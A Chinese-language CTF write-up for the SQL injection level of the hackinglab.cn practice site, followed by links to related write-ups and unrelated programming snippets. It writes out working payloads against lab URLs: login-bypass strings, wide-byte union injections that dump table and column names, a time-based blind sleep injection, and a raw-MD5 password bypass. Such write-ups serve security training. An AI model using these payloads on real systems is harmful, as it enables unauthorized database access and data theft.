网络安全实验室 注入关通关writeup
URL:http://hackinglab.cn
注入关
[1] 最简单的SQL注入
username = admin' or ''='
password随便什么都可以直接可以登录
[2] 熟悉注入环境
username = admin or 1=1
password 随便什么
[3] 防注入
根据响应头中返回的 charset=gb2312 ,猜测可能是一个宽字节注入,通过验证后开始正常的注入流程
注入字段长度
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' order by 3
得到字段长度为3。
得到显示位
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,3
得到显示位是2,3
得到数据库表的信息
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())
得到在当前数据库中仅仅存在一个表, sae_user_sqli4
得到字段信息
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=sae_user_sqli4)
得到在sae_user_sqli4表中有 id,title_1,content_1 3个字段。
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=2%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4)
就可以的得到Flag了。Flag:flag is here!
[4] 到底能不能回显
找到注入点,发现回显会多一个",1",并且"1"由num参数控制。并且不加num参数不提供报错,由此想到limit注入。
根据本地测试,找到注入方法
tip:如果不回显,利用方式如下:
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,(1)),1))))),1)
[5] 邂逅
神坑。查看源代码,发现有参数ID。以为注入点就是ID。经过尝试,是ID的值使用了lstrip()函数,只去前面开头的数字。无思路后,查看了其他人的writeup,发现是图片注入,还是第一次见到。还是宽字节注入。找到注入点,开始常规的注入方法。
[6] ErrorBased
页面打不开
[7]
不难判断出参数username有注入。但是不管不注入正确与否的sql语句,总是返回正确的页面。不难想出基本时间的注入
' and if("1"="2",1,sleep(10))# 成功等待十秒
' and if(ascii(substr((select database()),{},1))>{}).format(n.nums)
成功构建payload。剩下的就是要脚本直接跑了
[8]SQL注入通用防护
打不开链接
[9]据说哈希后的密码是不能产生注入的
右键查看源代码
include "config.php"; if(isset($_GET['userid']) && isset($_GET['pwd'])){ $strsql="select * from `user` where userid=".intval($_GET['userid'])." and password='".md5($_GET['pwd'], true) ."'"; $conn=mysql_connect($dbhost,$username,$pwd);
mysql_select_db($db,$conn);
$result=mysql_query($strsql);
print_r(mysql_error());
$row=mysql_fetch_array($result);
mysql_close($conn);
echo "<pre>";
print_r($row); echo "</pre>";
if($row!=null){
echo "Flag: ".$flag;
} }
else{
echo "PLEASE LOGINT!";
}
echo "<noscript>";
echo file_get_contents(__FILE__);
发现传入参数userid和pwd.对userid进行整形转化,pwd进行MD5加密。再到数据库中去数据,如果取出来,输出flag。感觉像是web弱类型绕过。
没有思路,最后看writeup。发现了这个
可以伪造成
select * from `user` where userid='1' and pwd = ''or'6É]™é!r,ùíb'
成功绕过。涨姿势。直接访问
网络安全实验室 注入关通关writeup的更多相关文章
- 网络安全实验室 脚本关通关writeup
[1]key又又找不到了查看源代码.发现key的路径,点击进行了302跳转,抓包,得到key [2]快速口算要2秒内提交答案,果断上python import requests,re s = requ ...
- 网络安全实验室_注入关writeup
最简单的SQL注入 查看页面源码发现提示要登录admin账户 果断试试万能密码admin' or 1=1# 直接能看到flag了 最简单的SQL注入(熟悉注入环境) 首先查看源码,提示id=1,看样子 ...
- 网络安全实验室--SQL注入关
第一关 万能密码:username='or '1'='1'# password=1 即可登录得到flag. 第二关 最基础的注入,order by 判断字段数,然后 union selec ...
- 网络安全实验室_上传关writeup
请上传一张jpg格式的图片 先传个图片码试试 我肯定乖嘛(#`Д´)ノ 气到改后缀 请上传一张jpg格式的图片 我猜是00截断,不信来试试 先在赋值1.php .jpg,接着去hex中找到空格改成00 ...
- 光棍节程序员闯关秀writeup
答题链接https://1111.segmentfault.com/ 第一关 首先当然是右键查看源码啊 点击链接进入下一关 第二关 还是老样子,右键查看源码 这个key是要放在URL链接里敲回车的 第 ...
- 《安全智库》:48H急速夺旗大战通关writeup(通关策略)
作者:ByStudent 题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...
- 网络信息安全攻防学习平台 上传,解密通关writeup
上传关 [1]查看源代码,发现JS代码.提交时onclick进行过验证.ctrl+shift+i 打开开发者工具,将conclick修改为 return True,即可以上传上传php文件,拿到KEY ...
- 【DVWA】SQL Injection(SQL 注入)通关教程
日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...
- #033 信安培训基础题Python解决网络安全实验室|网络信息安全攻防学习平台
第三题猜猜这是经过了多少次加密?分值: 200 加密后的字符串为:一大串 字符串最后面是= 所以是base64.b64decode编码究竟为啥有=就是base64咱也不知道 咱也不敢问咋解密也是从网上 ...
随机推荐
- MyBatis java.sql.SQLSyntaxErrorException: ORA-00911: 无效字符
http://blog.sina.com.cn/s/blog_6da7fcff0101jewf.html 查看SQL语句是否多加了分号";"
- C++中的Traits技法
Traits广泛应用于标准程序库.Traits classes使得"类型相关信息"在编译期可用. 认真读完下面的示例,你应该就懂了Traits技法,其实并不难. #include ...
- 百度人脸识别api及face++人脸识别api测试(python)
一.百度人脸识别服务 1.官方网址:http://apistore.baidu.com/apiworks/servicedetail/464.html 2.提供的接口包括: 2.1 多人脸比对:请求多 ...
- KB奇遇记(1):开篇
我已经确定了2017年1月24日将是在旗滨工作的最后一天. 回顾从2015年8月3日入职那天开始到现在,一年半多的时间里的种种奇葩经历,深深被这家公司的制度.企业文化.官僚主义.粗糙的信息化建设以及利 ...
- css,html性能优化
css性能优化 CSS是负责布局和渲染的重要角色,漂亮的页面当然能够吸引用户.本文是自己在开发过程中总结的关于CSS与性能的关系,可能有不对之处,希望能够指出. ? 1.所有的样式尽量放在css文件中 ...
- java连接ms sql server各类问题解析
首先先来说下使用微软自己开发的架包进行ms sql server数据库的连接时,sql 2000与sql 2005的连接方式略有不同: 1.首先驱动不一样,sql 2000的连接驱动包有三个,分别是: ...
- linux 中用python实现终端命令行命令
在python代码中实现和在终端中输入的命令行一样的效果,以命令(audacious -p &)为例,该代码实现用audacious在后台播放音乐的功能,当然前提是安装了audacious. ...
- MVC分页控件
1.下载MvcPager.dll文件并引用到MVC项目中 2.在控制器中引用命名空间using Webdiyer.WebControls.Mvc; 3.获取数据集合,数据的总记录数(数据集合有多少条数 ...
- 基于python的互联网软件测试开发(自动化测试)-全集合
基于python的互联网软件测试开发(自动化测试)-全集合 1 关键字 为了便于搜索引擎收录本文,特别将本文的关键字给强调一下: python,互联网,自动化测试,测试开发,接口测试,服务测试,a ...
- 转自scutan 常用的Linux编程库
库 头文件 描述libGL.so ...